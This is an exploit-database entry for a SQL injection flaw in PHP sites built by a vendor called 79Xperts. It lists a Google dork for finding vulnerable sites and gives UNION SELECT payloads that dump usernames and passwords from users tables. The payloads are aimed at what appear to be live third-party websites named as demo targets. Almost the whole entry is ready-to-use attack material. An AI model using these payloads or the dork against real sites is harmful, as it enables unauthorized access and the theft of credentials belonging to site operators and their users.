9Xperts SQL Injection Vulnerability

2017-05-08T00:00:00
ID 1337DAY-ID-27729
Type zdt
Reporter Sh4dow
Modified 2017-05-08T00:00:00

Description

Exploit for php platform in category web applications

                                        
                                            # Exploit Title: 79Xperts SQL Injection Vulnerability
# Google Dork: intext:"Developed by 79Xperts" inurl:.php?id=
# Date: 2017-05-06
# Exploit Author: Sh4dow ([email protected])
# My Team: Zero Security Group
# Vendor Homepage: https://www.79xperts.com
# Tested on: Kali Linux
---------------------------------------------------------------------------------------
Demo:
http://afco.com.sa/products.php?cid=12'

http://iurc.edu.pk/photos.php?id=5'

Exmple:

http://127.0.0.1/index.php?id=-1'+1,2,Group_Concat(user_name,0x3a,password),3+from+users--+


Demo Injection:
http://afco.com.sa/products.php?cid=-12%27+UNION+ALL+SELECT+1,2,3,4,5,Group_Concat(user_name,0x3a,password),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25+from+users--+&sid=32&ssid=0

http://iurc.edu.pk/photos.php?id=-5%27+UNION+SELECT+1,Group_Concat(user_name,0x3a,password),3+From+users--+

----------------------------------------------------------------------------------------
# Greetz : My PC
# We Are:Sh4dow - Ghostman - SOLTAN SILENT - R3dC4t And All Member
# Iranian Underground Researchers
# https://telegram.me/ZeroSecOfficial

#  0day.today [2018-01-06]  #